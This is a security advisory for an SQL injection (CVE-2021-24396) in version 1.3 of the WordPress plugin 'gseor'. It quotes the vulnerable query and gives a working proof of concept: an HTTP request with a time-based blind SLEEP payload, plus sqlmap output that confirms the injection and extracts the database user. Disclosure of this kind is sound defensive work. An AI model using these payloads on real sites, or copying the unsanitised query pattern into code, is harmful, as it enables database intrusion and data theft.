Wp Plugin Gseor

Plugin Details

Plugin Name: wp-plugin : gseor
Effected Version : 1.3 (and most probably lower version's if any)
Vulnerability : Injection
Minimum Level of Access Required : Administrator
CVE Number : CVE-2021-24396
Identified by : Syed Sheeraz Ali
WPScan Reference URL

Disclosure Timeline

Technical Details

Vulnerable File: /gseor.php#457

Vulnerable Code block and parameter:

Administrator level SQLi for parameter pageid /gseor.php#457

457:	$pages_db = $wpdb->get_results( "SELECT * FROM $table_name WHERE id = ".$_GET["pageid"]." ORDER BY id DESC");

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GET /wp-admin/admin.php?page=gseor.php&search=1&pageid=1 AND (SELECT 6449 FROM (SELECT(SLEEP(5)))wwdQ) HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_232395f24f6cff47569f2739c21385d6=admin%7C1620299005%7Ci5JXmpPpeJQ1VG5oOoxo4SfbUVeO0BUOtOkrbprgxBE%7Cb8b96ad5dc1fd71f30f94e58a973b97fc46b1fb7ecb053030a983c1382bbf579; wordpress_test_cookie=WP%20Cookie%20check; tk_ai=woo%3AiQVT6EvbuCedvp65Wb1%2BuUEl; wordpress_logged_in_232395f24f6cff47569f2739c21385d6=admin%7C1620299005%7Ci5JXmpPpeJQ1VG5oOoxo4SfbUVeO0BUOtOkrbprgxBE%7Cbbdf7d49cc3121c461d8b37a6825e47e879dbd635c53362901c96c5a104fd46b; wp-settings-time-1=1620174339
Connection: close


[*] starting @ 06:06:23 /2021-05-05/

[06:06:23] [INFO] parsing HTTP request from '/Users/sheerazali/Documents/wpcve/gsor.req'
[06:06:24] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: pageid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: page=gseor.php&search=1&pageid=1 AND 7584=7584

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=gseor.php&search=1&pageid=1 AND (SELECT 3434 FROM (SELECT(SLEEP(5)))RBDm)
[06:06:24] [INFO] testing MySQL
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
[06:06:24] [WARNING] reflective value(s) found and filtering out
[06:06:25] [INFO] confirming MySQL
[06:06:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 8.0.0
[06:06:25] [INFO] fetching current user
[06:06:25] [INFO] resumed: bob@localhost
current user: 'bob@localhost'
[06:06:25] [INFO] fetched data logged to text files under '/Users/sheerazali/.local/share/sqlmap/output/'